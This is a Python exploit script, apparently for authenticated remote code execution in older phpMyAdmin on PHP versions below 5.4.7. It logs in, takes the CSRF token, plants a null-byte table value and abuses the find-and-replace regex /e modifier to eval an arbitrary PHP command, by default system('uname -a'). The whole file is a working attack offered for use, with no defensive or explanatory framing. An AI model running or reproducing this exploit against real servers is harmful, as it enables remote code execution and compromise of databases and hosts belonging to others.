1 import requests
  2 import argparse
  3 import sys
  4 
  5 __author__ = "@iamsecurity"
  6 
  7 if __name__ == ‘__main__‘:
  8     parser = argparse.ArgumentParser()
  9     parser.add_argument("url", type=str, help="URL with path to PMA")
 10     parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
 11     parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
 12     parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
 13     parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
 14     parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
 15     arguments = parser.parse_args()
 16     url_to_pma = arguments.url
 17     uname = arguments.user
 18     upass = arguments.pwd
 19     if arguments.dbs:
 20         db = arguments.dbs
 21     else:
 22         db = "test"
 23     token = False
 24     custom_table = False
 25     if arguments.table:
 26         custom_table = True
 27         table = arguments.table
 28     else:
 29         table = "prgpwn"
 30     if arguments.cmd:
 31         payload = arguments.cmd
 32     else:
 33         payload = "system(‘uname -a‘);"
 34 
 35     size = 32
 36     s = requests.Session()
 37     # you can manually add proxy support it‘s very simple ;)
 38     # s.proxies = {‘http‘: "127.0.0.1:8080", ‘https‘: "127.0.0.1:8080"}
 39     s.verify = False
 40     sql = ‘‘‘CREATE TABLE `{0}` (
 41       `first` varchar(10) CHARACTER SET utf8 NOT NULL
 42     ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
 43     INSERT INTO `{0}` (`first`) VALUES (UNHEX(‘302F6500‘));
 44     ‘‘‘.format(table)
 45 
 46     # get_token
 47     resp = s.post(url_to_pma + "/?lang=en", dict(
 48         pma_username=uname,
 49         pma_password=upass
 50     ))
 51     if resp.status_code is 200:
 52         token_place = resp.text.find("token=") + 6
 53         token = resp.text[token_place:token_place + 32]
 54     if token is False:
 55         print("Cannot get valid authorization token.")
 56         sys.exit(1)
 57 
 58     if custom_table is False:
 59         data = {
 60             "is_js_confirmed": "0",
 61             "db": db,
 62             "token": token,
 63             "pos": "0",
 64             "sql_query": sql,
 65             "sql_delimiter": ";",
 66             "show_query": "0",
 67             "fk_checks": "0",
 68             "SQL": "Go",
 69             "ajax_request": "true",
 70             "ajax_page_request": "true",
 71         }
 72         resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
 73         if resp.status_code == 200:
 74             if "success" in resp.json():
 75                 if resp.json()["success"] is False:
 76                     first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
 77                     error = first[:first.find("</code>")]
 78                     if "already exists" in error:
 79                         print(error)
 80                     else:
 81                         print("ERROR: " + error)
 82                         sys.exit(1)
 83     # build exploit
 84     exploit = {
 85         "db": db,
 86         "table": table,
 87         "token": token,
 88         "goto": "sql.php",
 89         "find": "0/e\0",
 90         "replaceWith": payload,
 91         "columnIndex": "0",
 92         "useRegex": "on",
 93         "submit": "Go",
 94         "ajax_request": "true"
 95     }
 96     resp = s.post(
 97         url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
 98     )
 99     if resp.status_code == 200:
100         result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
101         if len(result):
102             print("result: " + result)
103             sys.exit(0)
104         print(
105             "Exploit failed!\n"
106             "Try to manually set exploit parameters like --table, --database and --token.\n"
107             "Remember that servers with PHP version greater than 5.4.6"
108             " is not exploitable, because of warning about null byte in regexp"
109         )
110         sys.exit(1)